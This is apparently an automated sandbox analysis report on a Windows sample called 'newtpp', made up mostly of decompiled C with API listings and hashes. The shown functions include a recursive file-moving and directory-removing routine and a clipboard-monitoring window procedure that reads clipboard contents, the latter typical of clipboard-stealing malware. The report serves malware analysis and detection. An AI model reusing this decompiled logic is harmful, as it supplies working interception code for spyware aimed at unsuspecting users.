						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1672 =  *(_t2149 - 0xc);
						_t1858 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1858 + _t1672 * 8 - 0x278);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1858 + _t1672 * 8 - 0x274);
						_t1673 =  *(_t2149 - 0xc);
						_t1859 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1859 + _t1673 * 8 - 0x38);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1859 + _t1673 * 8 - 0x34);
						_t1674 =  *(_t2149 - 0xc);
						_t1860 =  *((intOrPtr*)(_t2149 + 8));
						_t1507 =  *(_t2149 - 0xc);
						_t2108 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1860 + _t1674 * 8 - 0x40) &  *(_t2108 + _t1507 * 8 - 0x58) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1860 + _t1674 * 8 - 0x3c) &  *(_t2108 + _t1507 * 8 - 0x54) ^  *(_t2149 - 4);
						_t1861 =  *(_t2149 - 0xc);
						_t1508 =  *((intOrPtr*)(_t2149 + 8));
						_t1678 =  *(_t2149 - 0xc);
						_t2109 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1508 + _t1861 * 8 - 0xa8) &  *(_t2109 + _t1678 * 8 - 0x1c8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1508 + _t1861 * 8 - 0xa4) &  *(_t2109 + _t1678 * 8 - 0x1c4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1681 =  *(_t2149 - 0xc);
						_t2110 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2110 + 0x50 + _t1681 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2110 + 0x54 + _t1681 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1682 =  *(_t2149 - 0xc);
						_t1870 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1870 + _t1682 * 8 - 0x270);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1870 + _t1682 * 8 - 0x26c);
						_t1683 =  *(_t2149 - 0xc);
						_t1871 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1871 + _t1683 * 8 - 0x30);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1871 + _t1683 * 8 - 0x2c);
						_t1684 =  *(_t2149 - 0xc);
						_t1872 =  *((intOrPtr*)(_t2149 + 8));
						_t1518 =  *(_t2149 - 0xc);
						_t2115 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1872 + _t1684 * 8 - 0x38) &  *(_t2115 + _t1518 * 8 - 0x50) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1872 + _t1684 * 8 - 0x34) &  *(_t2115 + _t1518 * 8 - 0x4c) ^  *(_t2149 - 4);
						_t1873 =  *(_t2149 - 0xc);
						_t1519 =  *((intOrPtr*)(_t2149 + 8));
						_t1688 =  *(_t2149 - 0xc);
						_t2116 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1519 + _t1873 * 8 - 0xa0) &  *(_t2116 + _t1688 * 8 - 0x1c0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1519 + _t1873 * 8 - 0x9c) &  *(_t2116 + _t1688 * 8 - 0x1bc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1691 =  *(_t2149 - 0xc);
						_t2117 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2117 + 0x58 + _t1691 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2117 + 0x5c + _t1691 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1692 =  *(_t2149 - 0xc);
						_t1882 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1882 + _t1692 * 8 - 0x268);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1882 + _t1692 * 8 - 0x264);
						_t1693 =  *(_t2149 - 0xc);
						_t1883 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1883 + _t1693 * 8 - 0x28);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1883 + _t1693 * 8 - 0x24);
						_t1694 =  *(_t2149 - 0xc);
						_t1884 =  *((intOrPtr*)(_t2149 + 8));
						_t1529 =  *(_t2149 - 0xc);
						_t2122 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1884 + _t1694 * 8 - 0x30) &  *(_t2122 + _t1529 * 8 - 0x48) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1884 + _t1694 * 8 - 0x2c) &  *(_t2122 + _t1529 * 8 - 0x44) ^  *(_t2149 - 4);
						_t1885 =  *(_t2149 - 0xc);
						_t1530 =  *((intOrPtr*)(_t2149 + 8));
						_t1698 =  *(_t2149 - 0xc);
						_t2123 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1530 + _t1885 * 8 - 0x98) &  *(_t2123 + _t1698 * 8 - 0x1b8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1530 + _t1885 * 8 - 0x94) &  *(_t2123 + _t1698 * 8 - 0x1b4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1701 =  *(_t2149 - 0xc);
						_t2124 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2124 + 0x60 + _t1701 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2124 + 0x64 + _t1701 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1702 =  *(_t2149 - 0xc);
						_t1894 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1894 + _t1702 * 8 - 0x260);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1894 + _t1702 * 8 - 0x25c);
						_t1703 =  *(_t2149 - 0xc);
						_t1895 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1895 + _t1703 * 8 - 0x20);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1895 + _t1703 * 8 - 0x1c);
						_t1704 =  *(_t2149 - 0xc);
						_t1896 =  *((intOrPtr*)(_t2149 + 8));
						_t1540 =  *(_t2149 - 0xc);
						_t2129 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1896 + _t1704 * 8 - 0x28) &  *(_t2129 + _t1540 * 8 - 0x40) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1896 + _t1704 * 8 - 0x24) &  *(_t2129 + _t1540 * 8 - 0x3c) ^  *(_t2149 - 4);
						_t1897 =  *(_t2149 - 0xc);
						_t1541 =  *((intOrPtr*)(_t2149 + 8));
						_t1708 =  *(_t2149 - 0xc);
						_t2130 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1541 + _t1897 * 8 - 0x90) &  *(_t2130 + _t1708 * 8 - 0x1b0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1541 + _t1897 * 8 - 0x8c) &  *(_t2130 + _t1708 * 8 - 0x1ac) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1711 =  *(_t2149 - 0xc);
						_t2131 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2131 + 0x68 + _t1711 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2131 + 0x6c + _t1711 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1712 =  *(_t2149 - 0xc);
						_t1906 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1906 + _t1712 * 8 - 0x258);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1906 + _t1712 * 8 - 0x254);
						_t1713 =  *(_t2149 - 0xc);
						_t1907 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1907 + _t1713 * 8 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1907 + _t1713 * 8 - 0x14);
						_t1714 =  *(_t2149 - 0xc);
						_t1908 =  *((intOrPtr*)(_t2149 + 8));
						_t1551 =  *(_t2149 - 0xc);
						_t2136 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1908 + _t1714 * 8 - 0x20) &  *(_t2136 + _t1551 * 8 - 0x38) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1908 + _t1714 * 8 - 0x1c) &  *(_t2136 + _t1551 * 8 - 0x34) ^  *(_t2149 - 4);
						_t1909 =  *(_t2149 - 0xc);
						_t1552 =  *((intOrPtr*)(_t2149 + 8));
						_t1718 =  *(_t2149 - 0xc);
						_t2137 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1552 + _t1909 * 8 - 0x88) &  *(_t2137 + _t1718 * 8 - 0x1a8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1552 + _t1909 * 8 - 0x84) &  *(_t2137 + _t1718 * 8 - 0x1a4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1721 =  *(_t2149 - 0xc);
						_t2138 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2138 + 0x70 + _t1721 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2138 + 0x74 + _t1721 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1722 =  *(_t2149 - 0xc);
						_t1918 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1918 + _t1722 * 8 - 0x250);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1918 + _t1722 * 8 - 0x24c);
						_t1723 =  *(_t2149 - 0xc);
						_t1919 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1919 + _t1723 * 8 - 0x10);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1919 + _t1723 * 8 - 0xc);
						_t1724 =  *(_t2149 - 0xc);
						_t1920 =  *((intOrPtr*)(_t2149 + 8));
						_t1562 =  *(_t2149 - 0xc);
						_t2143 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1920 + _t1724 * 8 - 0x18) &  *(_t2143 + _t1562 * 8 - 0x30) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1920 + _t1724 * 8 - 0x14) &  *(_t2143 + _t1562 * 8 - 0x2c) ^  *(_t2149 - 4);
						_t1921 =  *(_t2149 - 0xc);
						_t1563 =  *((intOrPtr*)(_t2149 + 8));
						_t1728 =  *(_t2149 - 0xc);
						_t2144 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1563 + _t1921 * 8 - 0x80) &  *(_t2144 + _t1728 * 8 - 0x1a0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1563 + _t1921 * 8 - 0x7c) &  *(_t2144 + _t1728 * 8 - 0x19c) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1731 =  *(_t2149 - 0xc);
						_t2145 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2145 + 0x78 + _t1731 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2145 + 0x7c + _t1731 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						L0040EDF8();
						_t1391 =  *(_t2149 - 0x14) &  *0x41112c;
						 *(_t2149 - 0x18) =  *(_t2149 - 0x18) ^  *(_t2149 - 0x18) ^  *(_t2149 - 0x18) &  *0x411128;
						 *(_t2149 - 0x14) =  *(_t2149 - 0x14) ^  *(_t2149 - 0x14) ^  *(_t2149 - 0x14) &  *0x41112c;
						 *(_t2149 - 0xc) =  *(_t2149 - 0xc) + 0x10;
						continue;
					}
					L3:
					return _t1391;
					L4:
				}
			}

0x00406639
0x00406639
0x00406639
0x0040663f
0x00406642
0x00406645
0x0040664b
0x00406651
0x00406654
0x0040665a
0x0040665d
0x00406660
0x00406677
0x0040667a
0x0040667d
0x00406680
0x00406697
0x0040669a
0x0040669d
0x004066a0
0x004066a3
0x004066a6
0x004066cb
0x004066ce
0x004066d1
0x004066d4
0x004066d7
0x004066da
0x004066ff
0x00406702
0x0040670d
0x00406718
0x0040671b
0x00406726
0x00406731
0x00406734
0x00406737
0x0040673a
0x00406741
0x00406747
0x0040674a
0x0040674d
0x00406764
0x00406767
0x0040676a
0x0040676d
0x0040677e
0x00406781
0x00406784
0x00406787
0x0040678a
0x0040678d
0x004067b2
0x004067b5
0x004067b8
0x004067bb
0x004067be
0x004067c1
0x004067e6
0x004067e9
0x004067f4
0x004067ff
0x00406802
0x0040680d
0x00406818
0x0040681b
0x0040681e
0x00406822
0x00406829
0x0040682f
0x00406832
0x00406835
0x0040684c
0x0040684f
0x00406852
0x00406855
0x00406866
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406875
0x00406894
0x00406897
0x0040689a
0x0040689d
0x004068a0
0x004068a3
0x004068c8
0x004068cb
0x004068d6
0x004068e1
0x004068e4
0x004068ef
0x004068fa
0x004068fd
0x00406900
0x00406904
0x0040690b
0x00406911
0x00406914
0x00406917
0x0040692e
0x00406931
0x00406934
0x00406937
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406982
0x00406985
0x004069aa
0x004069ad
0x004069b8
0x004069c3
0x004069c6
0x004069d1
0x004069dc
0x004069df
0x004069e2
0x004069e6
0x004069ed
0x004069f3
0x004069f6
0x004069f9
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a2a
0x00406a2d
0x00406a30
0x00406a33
0x00406a36
0x00406a39
0x00406a58
0x00406a5b
0x00406a5e
0x00406a61
0x00406a64
0x00406a67
0x00406a8c
0x00406a8f
0x00406a9a
0x00406aa5
0x00406aa8
0x00406ab3
0x00406abe
0x00406ac1
0x00406ac4
0x00406ac8
0x00406acf
0x00406ad5
0x00406ad8
0x00406adb
0x00406af2
0x00406af5
0x00406af8
0x00406afb
0x00406b0c
0x00406b0f
0x00406b12
0x00406b15
0x00406b18
0x00406b1b
0x00406b34
0x00406b37
0x00406b3a
0x00406b3d
0x00406b40
0x00406b43
0x00406b68
0x00406b6b
0x00406b76
0x00406b81
0x00406b84
0x00406b8f
0x00406b9a
0x00406b9d
0x00406ba0
0x00406ba4
0x00406bab
0x00406bb1
0x00406bb4
0x00406bb7
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406be8
0x00406beb
0x00406bee
0x00406bf1
0x00406bf4
0x00406bf7
0x00406c10
0x00406c13
0x00406c16
0x00406c19
0x00406c1c
0x00406c1f
0x00406c44
0x00406c47
0x00406c52
0x00406c5d
0x00406c60
0x00406c6b
0x00406c76
0x00406c79
0x00406c7c
0x00406c80
0x00406c87
0x00406c8d
0x00406c90
0x00406c93
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cc4
0x00406cc7
0x00406cca
0x00406ccd
0x00406cd0
0x00406cd3
0x00406cec
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf8
0x00406cfb
0x00406d20
0x00406d23
0x00406d2e
0x00406d39
0x00406d3c
0x00406d47
0x00406d52
0x00406d55
0x00406d58
0x00406d5c
0x00406d63
0x00406d69
0x00406d6c
0x00406d6f
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406da0
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406dc8
0x00406dcb
0x00406dce
0x00406dd1
0x00406dd4
0x00406dd7
0x00406dfc
0x00406dff
0x00406e0a
0x00406e15
0x00406e18
0x00406e23
0x00406e2e
0x00406e31
0x00406e34
0x00406e38
0x00406e3f
0x00406e45
0x00406e48
0x00406e4b
0x00406e62
0x00406e65
0x00406e68
0x00406e6b
0x00406e7c
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406ed8
0x00406edb
0x00406ee6
0x00406ef1
0x00406ef4
0x00406eff
0x00406f0a
0x00406f0d
0x00406f10
0x00406f14
0x00406f1b
0x00406f21
0x00406f24
0x00406f27
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f58
0x00406f5b
0x00406f5e
0x00406f61
0x00406f64
0x00406f67
0x00406f80
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406fb4
0x00406fb7
0x00406fc2
0x00406fcd
0x00406fd0
0x00406fdb
0x00406fe6
0x00406fe9
0x00406fec
0x00406ff0
0x00406ff7
0x00406ffd
0x00407000
0x00407003
0x0040701a
0x0040701d
0x00407020
0x00407023
0x00407034
0x00407037
0x0040703a
0x0040703d
0x00407040
0x00407043
0x0040705c
0x0040705f
0x00407062
0x00407065
0x00407068
0x0040706b
0x00407090
0x00407093
0x0040709e
0x004070a9
0x004070ac
0x004070b7
0x004070c2
0x004070c5
0x004070c8
0x004070cc
0x004070d3
0x004070d9
0x004070dc
0x004070df
0x004070f6
0x004070f9
0x004070fc
0x004070ff
0x00407110
0x00407113
0x00407116
0x00407119
0x0040711c
0x0040711f
0x00407138
0x0040713b
0x0040713e
0x00407141
0x00407144
0x00407147
0x0040716c
0x0040716f
0x0040717a
0x00407185
0x00407188
0x00407193
0x0040719e
0x004071a1
0x004071a4
0x004071a8
0x004071af
0x004071b5
0x004071b8
0x004071bb
0x004071d2
0x004071d5
0x004071d8
0x004071db
0x004071ec
0x004071ef
0x004071f2
0x004071f5
0x004071f8
0x004071fb
0x00407214
0x00407217
0x0040721a
0x0040721d
0x00407220
0x00407223
0x00407248
0x0040724b
0x00407256
0x00407261
0x00407264
0x0040726f
0x0040727a
0x0040727d
0x00407280
0x00407284
0x0040728b
0x00407291
0x00407294
0x00407297
0x004072ae
0x004072b1
0x004072b4
0x004072b7
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f3
0x004072f6
0x004072f9
0x004072fc
0x004072ff
0x00407324
0x00407327
0x00407332
0x0040733d
0x00407340
0x0040734b
0x00407356
0x00407359
0x0040735c
0x00407360
0x00407367
0x0040736d
0x00407370
0x00407373
0x0040738a
0x0040738d
0x00407390
0x00407393
0x004073a4
0x004073a7
0x004073aa
0x004073ad
0x004073b0
0x004073b3
0x004073cc
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073fa
0x004073fd
0x00407408
0x00407413
0x00407416
0x00407421
0x0040742c
0x0040742f
0x00407432
0x00407436
0x00407442
0x00407453
0x00407468
0x00407472
0x00407475
0x0040747e
0x00000000
0x0040747e
0x00407486
0x0040748b
0x00000000
0x0040748b

APIs

_aullshr.NTDLL ref: 0040670D
_allshl.NTDLL ref: 00406726
_aullshr.NTDLL ref: 004067F4
_allshl.NTDLL ref: 0040680D
_aullshr.NTDLL ref: 004068D6
_allshl.NTDLL ref: 004068EF
_aullshr.NTDLL ref: 004069B8
_allshl.NTDLL ref: 004069D1
_aullshr.NTDLL ref: 00406A9A
_allshl.NTDLL ref: 00406AB3
_aullshr.NTDLL ref: 00406B76
_allshl.NTDLL ref: 00406B8F
_aullshr.NTDLL ref: 00406C52
_allshl.NTDLL ref: 00406C6B
_aullshr.NTDLL ref: 00406D2E
_allshl.NTDLL ref: 00406D47
_aullshr.NTDLL ref: 00406E0A
_allshl.NTDLL ref: 00406E23
_aullshr.NTDLL ref: 00406EE6
_allshl.NTDLL ref: 00406EFF
_aullshr.NTDLL ref: 00406FC2
_allshl.NTDLL ref: 00406FDB
_aullshr.NTDLL ref: 0040709E
_allshl.NTDLL ref: 004070B7
_aullshr.NTDLL ref: 0040717A
_allshl.NTDLL ref: 00407193
_aullshr.NTDLL ref: 00407256
_allshl.NTDLL ref: 0040726F
_aullshr.NTDLL ref: 00407332
_allshl.NTDLL ref: 0040734B
_aullshr.NTDLL ref: 00407408
_allshl.NTDLL ref: 00407421
_allshl.NTDLL ref: 00407442
_aullshr.NTDLL ref: 00407453

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: f79167b87464b51aed7931ecb4457fc5cd18322fd9671e80785650c02d4eccdb
Instruction ID: 90cb864cc2477ce68059d36ebfae5716939ce24ee9ac182e6e4708cb2ec1aab6
Opcode Fuzzy Hash: f79167b87464b51aed7931ecb4457fc5cd18322fd9671e80785650c02d4eccdb
Instruction Fuzzy Hash: 89D22B79D11619EFCB54CF99C18099EFBF1FF88320F66859AD845AB305C630AA91DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404E80(WCHAR* _a4, char _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				_t1 =  &_a8; // 0x40544b
				CreateDirectoryW( *_t1, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						_t14 =  &_a8; // 0x40544b
						wsprintfW( &_v2164, L"%s\\%s",  *_t14,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404E80( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}

0x00404e8b
0x00404e8f
0x00404ea5
0x00404eab
0x00404ebc
0x00404ec2
0x00404ecf
0x00404fb2
0x00000000
0x00000000
0x00000000
0x00404ed5
0x00404ed5
0x00404ee9
0x00404f1a
0x00404f2a
0x00404f3a
0x00404f40
0x00404f4c
0x00404f76
0x00404f4e
0x00404f5c
0x00404f61
0x00404f61
0x00404f4c
0x00404f90
0x00404f9f
0x00000000

APIs

CreateDirectoryW.KERNEL32(KT@,00000000), ref: 00404E8F
wsprintfW.USER32 ref: 00404EA5
FindFirstFileW.KERNEL32(?,?), ref: 00404EBC
lstrcmpW.KERNEL32(?,0041160C), ref: 00404EE1
lstrcmpW.KERNEL32(?,00411610), ref: 00404EF7
wsprintfW.USER32 ref: 00404F1A
wsprintfW.USER32 ref: 00404F3A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00404F76
FindNextFileW.KERNEL32(000000FF,?), ref: 00404F8A
FindClose.KERNEL32(000000FF), ref: 00404F9F
RemoveDirectoryW.KERNEL32(?), ref: 00404FA9

Strings

%s\%s, xrefs: 00404F2E
KT@, xrefs: 00404E8B, 00404F2A, 00404E8E, 00404F2D
%s\*, xrefs: 00404E99
%s\%s, xrefs: 00404F0E

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$KT@
API String ID: 92872011-1718218466
Opcode ID: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction ID: f84c23499f796ae609c643b61d0d113fdbb715ac4c7aa211f5e11142a609d372
Opcode Fuzzy Hash: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction Fuzzy Hash: 553145B5500218ABCB10DFA0DC88FDA7778BB88301F0085A9F709A6195DB79DAC4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004041A0(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						return DefWindowProcA(_a4, _a8, _a12, _a16);
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403FB0(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E004040D0(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403EF0(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
